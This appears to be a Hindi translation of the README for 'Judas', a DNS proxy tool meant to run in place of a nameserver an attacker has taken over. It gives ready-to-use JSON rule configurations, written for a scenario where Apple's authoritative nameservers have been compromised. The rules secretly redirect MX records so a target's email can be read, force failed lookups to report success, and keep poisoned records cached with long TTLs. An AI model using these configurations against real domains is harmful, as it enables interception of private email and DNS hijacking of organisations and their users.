
Nameserver DNS poisoning हमलों को आसान बनाया गया
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
नेमसर्वर DNS पॉइज़निंग हमले आसान बनाए गए
एक DNS प्रॉक्सी सर्वर जो एक अधिगृहीत नेमसर्वर के स्थान पर तैनात किए जाने के लिए बनाया गया है ताकि लक्षित शोषण किया जा सके। Judas सभी DNS क्वेरी को किसी डोमेन के वैध नेमसर्वर पर प्रॉक्सी करके काम करता है। जादू Judas के नियम कॉन्फ़िगरेशन में आता है जो आपको स्रोत IP या DNS क्वेरी प्रकार के आधार पर DNS प्रतिक्रियाओं को बदलने की अनुमति देता है। यह एक हमलावर को एक दुर्भावनापूर्ण नेमसर्वर कॉन्फ़िगर करने की अनुमति देता है जैसे कि निर्दिष्ट स्रोत IP श्रेणियों (संशोधित MX रिकॉर्ड के माध्यम से) से आने वाले ईमेल को चुनिंदा रूप से पुनर्निर्देशित करना, जहरीले रिकॉर्ड को कैश में रखने के लिए अत्यधिक लंबे TTL सेट करना, और भी बहुत कुछ।
नेमसर्वर अधिगृहीत करने और DNS हाईजैक करने के बारे में अधिक जानकारी के लिए, निम्नलिखित ब्लॉग पोस्ट देखें जिसका शीर्षक है "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target"।
नीचे एक उदाहरण परिदृश्य के लिए Judas का एक उदाहरण कॉन्फ़िगरेशन है जहां एक हमलावर ने Apple के एक आधिकारिक नेमसर्वर (apple.com के लिए) से समझौता/अधिग्रहण कर लिया है:
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
उपरोक्त कॉन्फ़िगरेशन मानों के उद्देश्य निम्नलिखित हैं:
version: कॉन्फ़िगरेशन फ़ाइल स्वरूप संस्करण (अभी के लिए हमेशा 1.0.0)।port: वह पोर्ट जिस पर Judas चलेगा।dns_query_timeout: मिलीसेकंड में कितनी देर तक प्रतीक्षा करनी है, इससे पहले कि ऊपरी लक्ष्य नेमसर्वर से उत्तर की उम्मीद छोड़ दें।target_nameservers: आपके लक्ष्य डोमेन के लिए वैध नेमसर्वर, सभी DNS क्वेरी यहाँ से Judas द्वारा सभी अनुरोध करने वाले क्लाइंट की ओर से भेजी जाएंगी।rules: नियमों की एक सूची जिसमें DNS प्रतिक्रिया में संशोधन शामिल हैं, यदि मिलान हो तो लागू किया जाना है।
name: किसी दिए गए नियम का नाम।query_type_matches: मिलान करने के लिए क्वेरी प्रकारों की सूची जैसे CNAME, A, आदि। किसी भी क्वेरी प्रकार से मिलान करने के लिए एक वाइल्डकार्ड (*) भी निर्दिष्ट किया जा सकता है।ip_range_matches: मिलान करने के लिए IP श्रेणियों की सूची। IP की एक विशिष्ट श्रेणी के लिए चुनिंदा रूप से प्रतिक्रियाएँ स्पूफ करने के लिए।Judas के नियम एक modifications विनिर्देश के साथ आते हैं जो ग्राहक को वापस भेजे जाने से पहले DNS प्रतिक्रिया में किए जाने वाले विभिन्न संशोधनों की सूची पर सेट होता है। DNS प्रतिक्रिया संरचना को समझने के लिए यह महत्वपूर्ण है कि आप node-dns दस्तावेज़ीकरण पढ़ें ताकि आप इसमें संशोधन कर सकें।
एक उदाहरण DNS प्रतिक्रिया प्रारूप निम्नलिखित है:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...trimmed for brevity...
(DNS प्रतिक्रिया डेटा संरचना के बारे में अधिक जानकारी के लिए यह दस्तावेज़ीकरण देखें।)
एक संशोधन लिखना बहुत सरल है, नीचे संशोधन के साथ एक उदाहरण नियम देखा जा सकता है:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
उपरोक्त नियम किसी भी क्वेरी प्रकार से मेल खाता है (वाइल्डकार्ड (*) के कारण) और DNS प्रतिक्रिया के header.rcode मान को 0 पर सेट करता है। संशोधन तत्व के रूप में जो भी ऑब्जेक्ट सेट किया जाता है, वह DNS प्रतिक्रिया में मर्ज हो जाता है - जो भी मान मूल रूप से सेट था, उसे बदल देता है।
एक अन्य उदाहरण निम्नलिखित है:
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
उपरोक्त नियम 127.0.0.1 से किसी भी MX क्वेरी से मेल खाता है। DNS प्रतिक्रिया उत्तर को hacktheplace.localhost के लिए एक एकल MX रिकॉर्ड से अधिलेखित किया जाता है। इसका एक वास्तविक दुनिया का कार्यान्वयन किसी विशिष्ट IP से आने वाले ईमेल को पुनर्निर्देशित करना होगा ताकि आपके लक्ष्य के निजी ईमेल पढ़े जा सकें। इसके अतिरिक्त, एक वास्तविक दुनिया के परिदृश्य में एक हमलावर अपने दुर्भावनापूर्ण रिकॉर्ड को क्लाइंट DNS कैश में यथासंभव लंबे समय तक बनाए रखने के लिए प्रतिक्रिया TTL को बहुत अधिक मान में संशोधित करने का विकल्प चुन सकता है।
निम्नलिखित नियम क्लाइंट के IP पते से मेल खाएगा:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
ip_range_matches फ़ील्ड IP श्रेणियों की एक सरणी पर सेट है जो प्रतिक्रिया संशोधन को लागू करने के लिए लक्ष्य श्रेणियों को निर्दिष्ट करती है। इस फ़ील्ड का छोड़ देना वाइल्डकार्ड के बराबर है और सभी क्लाइंट IP पतों से मेल खाएगा।
निम्नलिखित नियम MX और CNAME के क्वेरी प्रकार से मेल खाएगा और तदनुसार प्रतिक्रिया संशोधन लागू करेगा:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
query_type_matches फ़ील्ड मिलान करने के लिए क्वेरी प्रकारों की एक सरणी पर सेट है। इस फ़ील्ड का छोड़ देना वाइल्डकार्ड के बराबर है और सभी क्वेरी प्रकारों से मेल खाएगा।
निम्नलिखित नियम NXDOMAIN के प्रतिक्रिया कोड से मेल खाएगा और तदनुसार प्रतिक्रिया संशोधन लागू करेगा:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
response_code_matches फ़ील्ड मिलान करने के लिए प्रतिक्रिया कोडों की एक सरणी पर सेट है। इस फ़ील्ड का छोड़ देना वाइल्डकार्ड के बराबर है और सभी RCODE प्रकारों से मेल खाएगा।
modifications: इस README का "संशोधन" अनुभाग देखें।